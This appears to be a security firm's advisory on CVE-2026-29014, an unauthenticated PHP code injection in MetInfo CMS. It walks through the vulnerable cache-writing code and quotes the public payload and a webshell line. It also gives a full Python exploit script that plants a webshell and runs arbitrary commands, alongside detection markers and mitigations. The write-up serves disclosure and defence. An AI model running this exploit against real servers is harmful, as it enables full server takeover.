Dutch
English
cve-2026-29014
rce
initial-access
t1190
WebSec AI CVE Threat Intel

CVE-2026-29014, MetInfo CMS unauthenticated PHP code injection

Joel Aviad Ossi
02 April, 2026

CVE-2026-29014 banner

CVE-2026-29014, MetInfo CMS unauthenticated PHP code injection

Executive Summary

CVE-2026-29014 is a critical unauthenticated PHP code injection vulnerability in MetInfo CMS, affecting versions 7.9.0 through 8.1.0. Public advisory material describes the issue as a remote code execution condition caused by insufficient input neutralization in the execution path. The vulnerable behavior is exposed through the WeChat related request handler at /app/system/entrance.php?n=include&m=module&c=weixin&a=doapi, where attacker-controlled input can be written into a PHP cache file and later executed.

The public technical evidence is unusually strong. The advisory from Karma(In)Security includes vulnerable code excerpts, identifies the affected class and method (weixinreply.class.php, wxAdminLogin()), and links to a public proof of concept. The available PoC material indicates a multi-stage unauthenticated exploit path that first injects PHP into a cache-backed file and then triggers command execution. VulnCheck also tracks public exploit availability for this issue.

For internet-exposed MetInfo CMS deployments using affected versions, this is an initial access and full server compromise risk.

Vulnerability Snapshot

  • CVE: CVE-2026-29014
  • Severity: Critical
  • CVSS: 9.3
  • CWE: CWE-94, Improper Control of Generation of Code
  • Vendor: MetInfo CMS
  • Product: MetInfo CMS
  • Affected versions: 7.9.0 <= 8.1.0
  • Attack surface: Remote, unauthenticated
  • Impact: Arbitrary PHP code execution, remote code execution, potential full control of the affected server
  • Known public PoC: Yes
  • Likely ATT&CK mapping: T1190, Exploit Public-Facing Application

Why This CVE Matters

This vulnerability matters because it combines three properties defenders should treat as high priority: no authentication requirement, direct code injection into PHP execution flow, and public exploit availability.

The advisory states that remote attackers can execute arbitrary code by sending crafted requests containing malicious PHP code. The vulnerable code path shows why that claim is credible. In the wxAdminLogin() method, attacker-controlled data from FromUserName is passed into cache::put() using a cache key derived from login_code:

public function wxAdminLogin($data = array(),$code = '')
{
    global $_M;
    $weixinapi = load::mod_class('weixin/weixinapi','new');
    $login_code = cache::get("weixin/".$code);
     if ($login_code) {
        cache::put("weixin/".$login_code,$data['FromUserName']);
     }
    return;
}

The corresponding cache writer is also documented publicly:

public static function put($file, $data, $type = 'php')
{
    global $_M;

    load::sys_func('file');
    $save = PATH_CACHE . $file . '.' . $type;
    makefile($save);
    #$data = str_replace(array("\"", "\\"), array("\\\"", "\\\\"), $data);
    if (!is_array($data)) {
        file_put_contents($save, "<?php\ndefined('IN_MET') or exit('No permission');\n\$cache=\"{$data}\";\n?>");
    } else {
        $info = var_export($data, true);
        $info = "<?php\ndefined('IN_MET') or exit('No permission');\n\$cache = {$info};\n?>";
        file_put_contents($save, $info);
    }
}

The commented-out str_replace() line is especially important. Based on the published code, string data is written into a PHP file inside a double-quoted assignment without neutralizing dangerous characters first. That is the core condition that turns a cache write into a code injection primitive.

Technical Root Cause

The root cause is unsafe generation of executable PHP content from untrusted input.

Two implementation details from the published code explain the issue:

  1. wxAdminLogin() writes attacker-controlled FromUserName into the cache layer.
  2. cache::put() persists non-array input as a PHP file using string interpolation:
$cache="{$data}";

Because the function writes a .php file and embeds the supplied value directly into PHP source, any failure to neutralize metacharacters can let an attacker break out of the intended string context and inject executable PHP. The advisory explicitly characterizes the issue as an unauthenticated PHP code injection vulnerability, and the code excerpt supports that classification.

The same function also constructs the destination path as:

$save = PATH_CACHE . $file . '.' . $type;

The public PoC indicators suggest that the exploit path does not rely only on code injection in the value, but also on controlling the cache filename through the login_code flow. The stage markers adminlogin&../config/tables and adminlogin&Array strongly indicate that the attacker influences the cache key used by cache::put("weixin/".$login_code, ...), allowing traversal-like behavior in the generated cache path. The public exploit logic therefore appears to combine path manipulation with PHP code injection to place attacker-controlled PHP where it can be executed in a useful way.

Exploitation Path

The public exploit evidence points to the following request handler:

/app/system/entrance.php?n=include&m=module&c=weixin&a=doapi

The exploit flow described by the public PoC is multi-stage.

Stage 1, inject PHP through the WeChat API path

The structured PoC evidence preserves the exact payload marker:

event SCAN adminlogin&../config/tables{${eval(base64_decode($_SERVER[chr(72).chr(84).chr(84).chr(80).chr(95).chr(67)]))}}.{${die()}}

The same evidence shows a custom header named C, whose value is base64-decoded by the injected PHP. The generated validation artifact based on the public PoC uses that header to deliver code such as:

file_put_contents("cache/weixin/Array.php", "<?php eval($_GET[c]); ?>");

This is consistent with the vulnerable code path. FromUserName reaches cache::put(), and the resulting PHP file content can be influenced so that attacker-supplied PHP executes during subsequent processing.

Stage 2, prepare the Array cache target

The public stage markers also include a second request body:

event SCAN adminlogin&Array

The available exploit notes indicate that this second request is used to set up or reference the Array cache file path, after which the injected PHP can be reached in a stable way. The exact internal control flow beyond the published snippets is not fully documented in the public advisory text, so it is more accurate to say that the exploit uses a two-request sequence involving ../config/tables and Array to steer cache creation and execution, rather than to overstate undocumented internals.

Stage 3, execute commands and parse output

The public PoC markers include the output delimiter _____ and a PHP command wrapper of the form:

chdir('../..'); print '_____'; passthru(base64_decode('%s')); print '_____';

That wrapper is then base64-encoded and sent through the same injection mechanism using the C header. The exploit checks for success during the injection phase and later extracts command output between the _____..._____ markers.

This is enough to conclude that the public exploit path is not merely theoretical. It is designed to move from code injection to operating system command execution in a repeatable way.

Disclaimer

This article and source code are intended strictly for educational and security research purposes. Misuse for malicious purposes, including unauthorised system access or malware development, is explicitly prohibited. By using this material you agree to our Terms and Conditions. All use is at your own risk.

Reproduction Or PoC Considerations

A public PoC is available from Karma(In)Security:

  • https://karmainsecurity.com/pocs/CVE-2026-29014.php

The public material supports these concrete reproduction details:

  • Endpoint: /app/system/entrance.php?n=include&m=module&c=weixin&a=doapi
  • Unauthenticated attack surface
  • Multi-stage request flow
  • Stage markers: adminlogin&../config/tables and adminlogin&Array
  • Header used for payload transport: C
  • Success indicators: success and output wrapped in _____

One operational note from the generated validation artifact is worth preserving carefully: it states that exploitation requires the /cache/weixin/ directory to exist, which would be expected when the WeChat plugin is installed. That aligns with the vulnerable code path using weixin/ cache keys, but public source excerpts do not fully document all deployment prerequisites. In practice, defenders should assume systems exposing the WeChat module path are at risk.

WebSec PoC Note

The following PoC Exploit by WebSec has not been tested against a live target. It is based on public references, advisories, commits, and other cited material, and is provided to explain likely exploitability and validation logic.

PoC Exploit by WebSec

The following compact validation script follows the public exploit sequence and is based on the published advisory, PoC indicators, and cited code path. It has not been tested by WebSec and should be treated as a research aid for authorised validation only.

#!/usr/bin/env python3
import requests
import urllib3
import sys
import base64
import re
import argparse

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def stage1_inject_webshell(target_url):
    endpoint = "/app/system/entrance.php?n=include&m=module&c=weixin&a=doapi"
    url = target_url.rstrip('/') + endpoint
    payload = 'event SCAN adminlogin&../config/tables{${eval(base64_decode($_SERVER[chr(72).chr(84).chr(84).chr(80).chr(95).chr(67)]))}}.{${die()}}'
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded',
        'C': base64.b64encode(b'file_put_contents("cache/weixin/Array.php", "<?php eval($_GET[c]); ?>");').decode()
    }
    try:
        response = requests.post(url, data=payload, headers=headers, verify=False, timeout=10)
        return "success" in response.text.lower() or response.status_code == 200
    except requests.exceptions.RequestException:
        return False

def stage2_setup_array_cache(target_url):
    endpoint = "/app/system/entrance.php?n=include&m=module&c=weixin&a=doapi"
    url = target_url.rstrip('/') + endpoint
    payload = 'event SCAN adminlogin&Array'
    try:
        response = requests.post(url, data=payload, headers={'Content-Type': 'application/x-www-form-urlencoded'}, verify=False, timeout=10)
        return response.status_code == 200
    except requests.exceptions.RequestException:
        return False

def execute_command(target_url, command):
    endpoint = "/app/system/entrance.php?n=include&m=module&c=weixin&a=doapi"
    url = target_url.rstrip('/') + endpoint
    encoded_cmd = base64.b64encode(command.encode()).decode()
    phpcode = f"chdir('../..'); print '_____'; passthru(base64_decode('{encoded_cmd}')); print '_____';"
    payload = 'event SCAN adminlogin&../config/tables{${eval(base64_decode($_SERVER[chr(72).chr(84).chr(84).chr(80).chr(95).chr(67)]))}}.{${die()}}'
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded',
        'C': base64.b64encode(phpcode.encode()).decode()
    }
    try:
        response = requests.post(url, data=payload, headers=headers, verify=False, timeout=15)
        match = re.search(r'_____(.*)_____', response.text, re.DOTALL)
        return match.group(1).strip() if match else None
    except requests.exceptions.RequestException:
        return None

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('target')
    parser.add_argument('-c', '--command', default='id')
    args = parser.parse_args()
    target = args.target if args.target.startswith(('http://', 'https://')) else 'http://' + args.target
    if not stage1_inject_webshell(target):
        sys.exit(1)
    if not stage2_setup_array_cache(target):
        sys.exit(1)
    output = execute_command(target, args.command)
    if output is not None:
        print(output)

if __name__ == '__main__':
    main()

This article and source code are intended strictly for educational and security research purposes. Misuse for malicious purposes, including unauthorised system access or malware development, is explicitly prohibited. By using this material you agree to our Terms and Conditions. All use is at your own risk.

MITRE Mapping

  • CWE-94: Improper Control of Generation of Code
  • ATT&CK T1190: Exploit Public-Facing Application

The ATT&CK mapping fits the public description closely. The vulnerable component is a web-exposed application endpoint, exploitation is unauthenticated, and the result is server-side code execution.

Detection And Mitigation

Based on the public exploit path, defenders should focus on the following:

Detection opportunities

  • Review HTTP traffic to /app/system/entrance.php?n=include&m=module&c=weixin&a=doapi.
  • Look for request bodies containing the public exploit markers:
    • event SCAN adminlogin&../config/tables
    • event SCAN adminlogin&Array
  • Inspect requests carrying an unusual custom header named C.
  • Search web and application logs for responses containing success in the context of the WeChat API handler.
  • Hunt for files created under cache paths associated with weixin, especially suspicious PHP files such as cache/weixin/Array.php.
  • Review file integrity changes in cache directories for embedded PHP such as eval(base64_decode(, passthru(, or unexpected file_put_contents( patterns.

Mitigation priorities

  • Upgrade away from affected versions 7.9.0 through 8.1.0 as soon as a vendor fix is available.
  • Restrict exposure of MetInfo CMS administrative and module endpoints to trusted networks where possible.
  • If the WeChat module is not required, reduce exposure to the related endpoint and monitor any access attempts.
  • Treat any confirmed exploitation as a full server compromise event. The public advisory states that attackers can gain full control over the affected server.

Because the public exploit path writes executable PHP into cache-backed locations, incident response should include filesystem review, credential rotation, and broader host compromise assessment rather than only web application cleanup.

Credit

The vulnerability was discovered by Egidio Romano.

References

Frequently Asked Questions

Authored By
Joel Aviad Ossi

Managing Director

Share with the world!

Need Security?

Are you really sure your organization is secure?

At WebSec we help you answer this question by performing advanced security assessments.

Want to know more? Schedule a call with one of our experts.

Schedule a call
Authored By
Joel Aviad Ossi

Managing Director